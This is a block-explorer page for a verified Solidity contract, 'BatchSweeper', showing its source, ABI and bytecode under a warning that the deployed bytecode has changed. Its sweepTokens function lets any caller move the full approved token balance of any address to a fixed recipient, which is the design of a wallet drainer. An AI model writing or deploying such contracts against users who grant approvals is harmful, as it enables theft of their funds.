Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify.
View contract in Sourcify repository
- Contract name:
- BatchSweeper
- Optimization enabled
- false
- Compiler version
- v0.8.20+commit.a1b79de6
- EVM Version
- shanghai
- Verified at
- 2026-02-21T08:34:25.822713Z
Constructor Arguments
000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402
Arg [0] (address) : 0xc6f845ff8d34dacef27b2fb316ddd255d5d59402
Sweeper.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract BatchSweeper {
address public immutable RECIPIENT;
constructor(address _recipient) {
RECIPIENT = _recipient;
}
function sweepTokens(address from, address[] calldata tokens) external payable {
for (uint256 i = 0; i < tokens.length; ) {
IERC20 token = IERC20(tokens[i]);
uint256 bal = token.balanceOf(from);
if (bal > 0) {
token.transferFrom(from, RECIPIENT, bal);
}
unchecked { ++i; }
}
if (msg.value > 0) {
(bool success, ) = RECIPIENT.call{value: msg.value}("");
require(success, "PLS transfer failed");
}
}
}
Compiler Settings
{"remappings":[],"optimizer":{"runs":200,"enabled":false},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"shanghai","compilationTarget":{"Sweeper.sol":"BatchSweeper"}}
Contract ABI
[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_recipient","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"RECIPIENT","inputs":[]},{"type":"function","stateMutability":"payable","outputs":[],"name":"sweepTokens","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address[]","name":"tokens","internalType":"address[]"}]}]
Contract Creation Code
0x60a060405234801561000f575f80fd5b5060405161077f38038061077f833981810160405281019061003191906100c9565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050506100f4565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100988261006f565b9050919050565b6100a88161008e565b81146100b2575f80fd5b50565b5f815190506100c38161009f565b92915050565b5f602082840312156100de576100dd61006b565b5b5f6100eb848285016100b5565b91505092915050565b6080516106666101195f395f8181607401528181610170015261020901526106665ff3fe608060405260043610610028575f3560e01c80630d9019e11461002c5780638e824bda14610056575b5f80fd5b348015610037575f80fd5b50610040610072565b60405161004d9190610314565b60405180910390f35b610070600480360381019061006b91906103c0565b610096565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b5f5b828290508110156101fd575f8383838181106100b7576100b661041d565b5b90506020020160208101906100cc919061044a565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b81526004016101089190610314565b602060405180830381865afa158015610123573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061014791906104a8565b90505f8111156101f0578173ffffffffffffffffffffffffffffffffffffffff166323b872dd877f0000000000000000000000000000000000000000000000000000000000000000846040518463ffffffff1660e01b81526004016101ae939291906104e2565b6020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061054c565b505b8260010192505050610098565b505f3411156102d0575f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163460405161024b906105a4565b5f6040518083038185875af1925050503d805f8114610285576040519150601f19603f3d011682016040523d82523d5f602084013e61028a565b606091505b50509050806102ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c590610612565b60405180910390fd5b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102fe826102d5565b9050919050565b61030e816102f4565b82525050565b5f6020820190506103275f830184610305565b92915050565b5f80fd5b5f80fd5b61033e816102f4565b8114610348575f80fd5b50565b5f8135905061035981610335565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126103805761037f61035f565b5b8235905067ffffffffffffffff81111561039d5761039c610363565b5b6020830191508360208202830111156103b9576103b8610367565b5b9250929050565b5f805f604084860312156103d7576103d661032d565b5b5f6103e48682870161034b565b935050602084013567ffffffffffffffff81111561040557610404610331565b5b6104118682870161036b565b92509250509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6020828403121561045f5761045e61032d565b5b5f61046c8482850161034b565b91505092915050565b5f819050919050565b61048781610475565b8114610491575f80fd5b50565b5f815190506104a28161047e565b92915050565b5f602082840312156104bd576104bc61032d565b5b5f6104ca84828501610494565b91505092915050565b6104dc81610475565b82525050565b5f6060820190506104f55f830186610305565b6105026020830185610305565b61050f60408301846104d3565b949350505050565b5f8115159050919050565b61052b81610517565b8114610535575f80fd5b50565b5f8151905061054681610522565b92915050565b5f602082840312156105615761056061032d565b5b5f61056e84828501610538565b91505092915050565b5f81905092915050565b50565b5f61058f5f83610577565b915061059a82610581565b5f82019050919050565b5f6105ae82610584565b9150819050919050565b5f82825260208201905092915050565b7f504c53207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6105fc6013836105b8565b9150610607826105c8565b602082019050919050565b5f6020820190508181035f830152610629816105f0565b905091905056fea2646970667358221220977c3ede2dedb0000b5f4b078858d3f5a7f8b150ef2b06950c044af21611909264736f6c63430008140033000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402
Deployed ByteCode
0x608060405260043610610028575f3560e01c80630d9019e11461002c5780638e824bda14610056575b5f80fd5b348015610037575f80fd5b50610040610072565b60405161004d9190610314565b60405180910390f35b610070600480360381019061006b91906103c0565b610096565b005b7f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d5940281565b5f5b828290508110156101fd575f8383838181106100b7576100b661041d565b5b90506020020160208101906100cc919061044a565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b81526004016101089190610314565b602060405180830381865afa158015610123573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061014791906104a8565b90505f8111156101f0578173ffffffffffffffffffffffffffffffffffffffff166323b872dd877f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402846040518463ffffffff1660e01b81526004016101ae939291906104e2565b6020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061054c565b505b8260010192505050610098565b505f3411156102d0575f7f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d5940273ffffffffffffffffffffffffffffffffffffffff163460405161024b906105a4565b5f6040518083038185875af1925050503d805f8114610285576040519150601f19603f3d011682016040523d82523d5f602084013e61028a565b606091505b50509050806102ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c590610612565b60405180910390fd5b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102fe826102d5565b9050919050565b61030e816102f4565b82525050565b5f6020820190506103275f830184610305565b92915050565b5f80fd5b5f80fd5b61033e816102f4565b8114610348575f80fd5b50565b5f8135905061035981610335565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126103805761037f61035f565b5b8235905067ffffffffffffffff81111561039d5761039c610363565b5b6020830191508360208202830111156103b9576103b8610367565b5b9250929050565b5f805f604084860312156103d7576103d661032d565b5b5f6103e48682870161034b565b935050602084013567ffffffffffffffff81111561040557610404610331565b5b6104118682870161036b565b92509250509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6020828403121561045f5761045e61032d565b5b5f61046c8482850161034b565b91505092915050565b5f819050919050565b61048781610475565b8114610491575f80fd5b50565b5f815190506104a28161047e565b92915050565b5f602082840312156104bd576104bc61032d565b5b5f6104ca84828501610494565b91505092915050565b6104dc81610475565b82525050565b5f6060820190506104f55f830186610305565b6105026020830185610305565b61050f60408301846104d3565b949350505050565b5f8115159050919050565b61052b81610517565b8114610535575f80fd5b50565b5f8151905061054681610522565b92915050565b5f602082840312156105615761056061032d565b5b5f61056e84828501610538565b91505092915050565b5f81905092915050565b50565b5f61058f5f83610577565b915061059a82610581565b5f82019050919050565b5f6105ae82610584565b9150819050919050565b5f82825260208201905092915050565b7f504c53207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6105fc6013836105b8565b9150610607826105c8565b602082019050919050565b5f6020820190508181035f830152610629816105f0565b905091905056fea2646970667358221220977c3ede2dedb0000b5f4b078858d3f5a7f8b150ef2b06950c044af21611909264736f6c63430008140033